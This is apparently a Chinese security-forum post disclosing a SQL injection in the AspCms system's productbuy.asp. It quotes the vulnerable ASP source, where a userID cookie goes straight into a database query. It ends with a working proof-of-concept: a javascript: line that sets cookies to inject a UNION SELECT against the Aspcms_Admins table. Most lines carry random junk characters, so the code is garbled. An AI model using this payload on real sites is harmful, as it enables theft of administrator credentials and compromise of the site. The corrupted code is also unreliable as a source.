好久没上土司了,上来一看发现在删号名单内.....% q; ]) _0 ^; O9 W* L5 X) \
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。6 `, ~8 h* T {, n* j
废话不多说,看代码:( F3 @1 I8 l+ ^5 O; `
# K* l3 S# V! i0 `& {
<%' s$ B. h. }0 E1 ?, w* }
% J3 A# M4 G- r/ R# u& z$ P8 wif action = "buy" then
, O& @+ N. ]- Q
! f0 y0 N1 ^9 ^. G' o7 _ addOrder()8 W: s$ J/ ], Q
. y) ~. |6 q) s& ~4 X4 M1 Celse
7 K7 L/ D& a4 `) j# W" V0 y2 w0 ]: w2 [# @0 u- ~. I$ z+ _$ a' r
echoContent()
0 M$ ^5 {& B$ ^% r
& K1 z0 V- T! ~; f4 bend if
+ C5 B, o' r0 ~9 h" d
m! w, J) L. l0 \. {
H# Y; u0 U6 B9 M2 Z+ G; I, r% C8 `) m5 ]8 I' \+ s% r- e
……略过! G0 x0 m: d* B( e) ~2 }) M
( q( R- a8 B; t7 H! l
- H! i' p. N" ^3 F3 L/ D5 t& ^4 @! v9 e% A( \0 S
Sub echoContent()
1 E, V: G% \4 R" T/ H; P
V( Q& K' h9 l' J3 | z) Q) [ dim id+ a! t- {9 Y; J, ~1 a
3 }6 C: T/ f4 g z( x' ~, [
id=getForm("id","get")+ m) ]3 [5 H, s
1 k4 q+ f6 ~7 W7 i2 x5 ~
! G/ r# ~; Q. X5 r3 s, p
5 A& b. W1 I m4 Z if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
9 K; h& ^' w' e$ U: z* [8 |" _
" w) ^" W/ p2 O& X6 T! Y
9 m" S) M; G6 B+ ~9 ^2 R( L. e1 N% |7 K4 a& i) @+ }
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ Z) K0 {& W( M8 y
) x3 S4 }7 {, G3 I
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 V8 v( E* n4 z6 Z
* P6 q' L. g8 |
Dim templatePath,tempStr
/ v4 J9 e" d r# O- e, L8 c, B% Q' r# D% ^
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
$ o9 z' P* z. |6 u; y4 w# b8 D* Z. t% z$ o- W }0 k) B
7 ]* x5 b' d- e1 ~+ ?& s
$ \7 P& T7 M! d8 c9 }/ W% D set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")$ H. }1 }& m1 U. l5 u9 w! K3 R0 h
% v% q X: C O4 N% s4 M: a selectproduct=rsObj(0)
/ O& w0 o& `$ U/ P
$ d: c7 I5 r( z) V! A' r
3 t: l- g, }+ Y, R+ n( M- e1 F
) r9 r+ ]3 q" |. G7 L4 T Dim linkman,gender,phone,mobile,email,qq,address,postcode
( U) j5 D* k) F2 x# [. @" d1 u, ]7 F' F' R& Z: F7 f$ K$ l) N) K
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
9 F C) _) F3 X
) f. W: C9 H: ?& U/ d4 { if rCookie("loginstatus")=1 then 7 z6 l! q* c1 @$ T8 h9 v
9 }, V$ X. t k. Z+ k5 D5 ^ set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
8 I/ Y7 I4 r1 q- ^. Q/ M
9 ~! j8 c8 j# b( Z! H S+ @1 q linkman=rsObj("truename")
0 } J0 ^5 \2 C) H; @2 X, G7 d* n7 `2 |" X; ~9 H) i$ a2 d
gender=rsObj("gender")6 X' e3 f4 E+ O$ J
4 Q: \7 U8 r C# t: I/ J5 h& Z
phone=rsObj("phone"), E% B* ~2 D4 B
/ }( \+ d1 t/ S$ a: Y0 w- i w2 u8 O1 ` mobile=rsObj("mobile")7 S8 N: j3 a5 e4 G7 p6 ~3 N
5 N* O6 b3 ^9 A+ |0 \& M email=rsObj("email")
# M0 ?% {6 x4 h/ _
8 H z* p3 e/ M% i qq=rsObj("qq")
f. L6 \+ B. G p1 {& P! m! N+ [# f3 \5 I
address=rsObj("address")
7 R& d0 w" A1 T/ I3 R
$ Z$ d) T' }7 S# H& ^ postcode=rsObj("postcode")
- R( e& r: n c" O" k5 a: a, Z- t( n
else
! C% H+ P' }1 I- c
7 V% @+ N# q4 |, @ gender=1
! C" P5 ^& d* u2 S2 k; D( {& {1 q4 g \4 b
end if
9 k' v6 p8 G" U; P
+ t+ u2 q4 s* K+ x1 D- a/ x rsObj.close(). u9 T" U9 Y8 i- W; ?
^/ J) Y5 J% V, v8 D
8 _' g a8 g! J0 J
* J! u' d- @8 J3 h
with templateObj 5 T8 ~7 G" A) ]* d7 M1 ?
% Y( l' v- E3 r .content=loadFile(templatePath) ) x& Z' @/ E% i8 M d8 o7 ^
" U! Q' h* S) D- s* O
.parseHtml()
& P/ b6 w( l( g3 h& I5 U& Y
2 x1 y8 ]/ T7 O' o9 v' c .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ X2 e3 J7 {) r1 S+ t# C! ^
9 }9 {5 r4 M+ ? .content=replaceStr(.content,"[aspcms:linkman]",linkman) $ X8 [* h0 T2 x" o4 b( Y. e1 `
) e, g& K; I; n; g. Q
.content=replaceStr(.content,"[aspcms:gender]",gender)
8 z- h* {* N, R/ E8 E& y
8 ]5 {, k$ o( e( l. C .content=replaceStr(.content,"[aspcms:phone]",phone)
* b _* T! ^, A k9 _" ?" x% V
.content=replaceStr(.content,"[aspcms:mobile]",mobile) / e7 y/ x. N: s% k
8 v. E2 E! T* K9 y& \
.content=replaceStr(.content,"[aspcms:email]",email) $ U" R) F5 B7 a% a1 v5 @+ |
9 i! q$ `4 B: x2 }" d3 T- i .content=replaceStr(.content,"[aspcms:qq]",qq) " z5 u d6 Q( Y" V
9 A. m9 ^( n8 x6 r* ^ .content=replaceStr(.content,"[aspcms:address]",address) 7 r2 Y5 `4 M$ e% @ T
( u1 |1 a; q: |3 g. T: F9 c) y
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
3 m8 [ `2 o8 \
a* P1 \1 R; d2 E/ @ .parseCommon() ' k4 ]0 Q, B& w+ c# {1 W. L6 r3 `
0 O+ s( Z- f# I2 x echo .content
' Q1 t. D! |3 S7 |! Z: c( [; v2 p9 [ O- h, O( M* f A1 L7 G: v
end with& Q* R- e0 V* V* j
1 G1 e( d( z2 `5 A* s
set templateobj =nothing : terminateAllObjects/ t- C7 r+ i6 O3 v$ N( q3 O
' ~/ A1 p! w0 ]) z% ~0 hEnd Sub: K$ P2 M. O+ p4 T# V
漏洞很明显,没啥好说的
, i! |& q5 e9 E3 cpoc:
# X( v/ ?! S9 p( v+ S9 w
/ y P! V# g$ v" \javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子; w1 s4 m2 q0 G' t* H2 k M6 Y
9 D. M( B$ H4 Q! g: a. f |